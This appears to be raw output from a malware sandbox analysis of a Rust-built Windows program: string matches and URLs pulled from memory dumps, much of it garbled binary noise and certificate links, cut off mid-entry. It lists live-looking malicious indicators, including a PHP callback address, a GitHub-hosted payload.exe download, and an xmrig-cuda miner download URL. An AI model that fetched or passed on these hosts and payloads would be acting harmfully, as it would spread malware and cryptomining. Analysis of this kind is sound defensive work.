"c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-core-0.3.32\src\task\__internal\atomic_waker.rs" Heuristic match: "0123456789abcdef at line c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.149\src\error.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.149\src\read.rs" Heuristic match: "mid > lenc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\memchr-2.8.0\src\arch\all\twoway.rs" Heuristic match: "uuuuuuuuuuuuuuuu3333333333333333c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\itoa-1.0.18\src\lib.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rand-0.8.5\src\rngs\thread.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rand_chacha-0.3.1\src\guts.rs" Heuristic match: "invalid paddingc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode_suffix.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode.rs" Pattern match: "https://docs.rs/getrandom#nodejs-es-module-support" Heuristic match: "u8explicit panicc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_core-1.0.228\src\de\mod.rs" Heuristic match: "capacity overflowthread name may not contain interior null bytes/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\thread\thread.rs" Heuristic match: "customerrorentity not foundpermission deniedconnection refusedconnection resethost unreachablenetwork unreachableconnection abortednot connectedaddress in useaddress not availablenetwork downbroken pipeentity already existsoperation would blocknot a direct" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\io\error\windows.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\env\windows.rs" Heuristic match: "assertion failed: len >= size_of::()/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\net\connection\socket\mod.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\pal\windows\os.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\pal\windows\time.rs" Heuristic match: "overflow when subtracting durations/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\time.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\pal\windows\winsock.rs" Heuristic match: "\#$*+-./:?@\_/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\args\windows.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\thread\windows.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\helpers\mod.rs" Heuristic match: "path/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\process\mod.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\process\windows\child_pipe.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\process\windows.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\ffi\os_str.rs" Heuristic match: "too many running threads in thread scope/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\thread\scoped.rs" Heuristic match: "use of std::thread::current() is not possible after the thread's local data has been destroyed/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\thread\current.rs" Heuristic match: "wouldblock/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\btree\map\entry.rs" Heuristic match: "assertion failed: self.is_code_point_boundary(new_len)/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\wtf8\mod.rs" Heuristic match: "overflow when adding duration to instant/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\time.rs" Heuristic match: "a formatting trait implementation returned an error when the underlying stream did not/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\fmt.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\str.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\wtf8\mod.rs" Heuristic match: "falsetrue00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899-/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd" Heuristic match: "{ .. }, .. }} }{[attempted to format a map value before its key/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\fmt\builders.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\net\parser.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\num\bignum.rs" Heuristic match: "assertion failed: digits < 40assertion failed: parts.len() >= 4/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\num\flt2dec\mod.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\num\flt2dec\strategy\grisu.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\num\flt2dec\strategy\dragon.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\num\diy_float.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\char\methods.rs" Heuristic match: "user-provided comparison function does not correctly implement a total order/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\slice\sort\shared\smallsort.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\slice\index.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\slice\memchr.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\time.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\net\ip_addr.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\net\display_buffer.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\net\socket_addr.rs" Heuristic match: "e;.jm" Pattern match: "http://95.85.238.4/e99c8470d3ebe7696e4a.php" Pattern match: "http://95.85.238.4" Pattern match: "http://sc293b7dd" Heuristic match: "battle.net" Heuristic match: "hyc/battle.net" Heuristic match: "e.net" Heuristic match: "ithub.com" Heuristic match: "busercontent.com" Heuristic match: "rosoft.com" Pattern match: "github.com/cblootah/test/raw/refs/heads/main/payload.exe" Heuristic match: "*.github.io" Heuristic match: "*.github.com" Heuristic match: "*.githubusercontent.com" Heuristic match: "github.io" Heuristic match: "githubusercontent.com" Pattern match: "www.github.com0" Heuristic match: "src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubuserco" Pattern match: "copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/" Pattern match: "https://github.com/cblootah/test/raw/refs/heads/main/payload.exe" Pattern match: "raw.githubusercontent.com/cblootah/test/refs/heads/main/payload.exe" Heuristic match: "b.com" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "t.com//e" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "https://raw.githubusercontent.com/cblootah/test/refs/heads/main/payload.exe" Pattern match: "github.com/assets-cdn/worker/" Heuristic match: "server: github.com" Pattern match: "obalsign.com/repository/03" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Heuristic match: "ntrust.net" Heuristic match: "aw.githubusercontent.com" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "dows.com" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name"65:T9fdc,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005400.00000000.143408.0A060000.00000004.mdmp") Found URL "http://i-windowstyledgnrmc:\windowsam.orgy7349189747pc:\windows\system32api.telegram.orgc:\windows\api.telegram.orgoc:\windowstc:\windows\system32y.org/\system32powershell.exetokio-rtm32\wbemqs[\reg" - Source: "00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005400.00000001.145328.0A060000.00000004.mdmp") Found URL "http://77.91.97.172/xmrig-cuda.zipcuda" - Source: "00000000-00005400.00000001.145328.DF40F000.00000002.mdmp") Found URL "http://95.85.238.4/e99c8470d3ebe7696e4a.php0d3ebe7696e4a.phpoftware\microsoft\windows\currentversion\internet" - Source: "00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp") Found URL "http://95.85.238.4/e99c8470d3ebe7696e4a.phpmicrosoft" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czc" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;^lpz+>%ydigicert" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0pegeotrust" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0+eris'fdpz?dpzeb*+m" - Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,6)dg" - Source: "00000000-00005524.00000001.143109.50430000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005524.00000001.143109.50430000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005524.00000001.143109.50430000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00005524.00000001.143109.50430000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005524.00000001.143109.50430000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005524.00000001.143109.50430000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005524.00000001.143109.50430000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005524.00000001.143109.50430000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005524.00000001.143109.50430000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006220.00000001.143985.6BC50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00006220.00000001.143985.6BC50000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006220.00000001.143985.6BC50000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006220.00000001.143985.6BC50000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006220.00000001.143985.6BC50000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ee:j9fwr/greater" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czco!yjdigicert" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;sessionname=consolesystem.xos=windows_ntpublic=c:\users\publicsystemroot=c:\windowssystem.x$trec%atprocessor_level=6b.cowhomepath=\users\hapubwswindir=c:\windowssystemdrive=c:number_of_processors=8homedrive=c:processor_revision=4f00username=hapubwsn+" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l[or" - Source: "00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006220.00000001.143985.6E152000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com231614310,advapi32.dll," - Source: "00000000-00006220.00000001.143985.6E6DC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006220.00000001.143985.6E6DC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrmicrosoft.management.infrastructure.userfilteredexceptionhandlingrefemit_inmemorymanifestmodulemscorlibsystem.diagnosticsdebuggableattributedebuggingmodes.ctorsystem.runtime.compilerservicesruntimecompatibilityattributesystemobjectuserfilteredexceptionhandlingexceptionactioninvokefunc" - Source: "00000000-00006220.00000001.143985.6E6DC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr9iqmgvw,czcul" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006860.00000001.145325.62A00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: 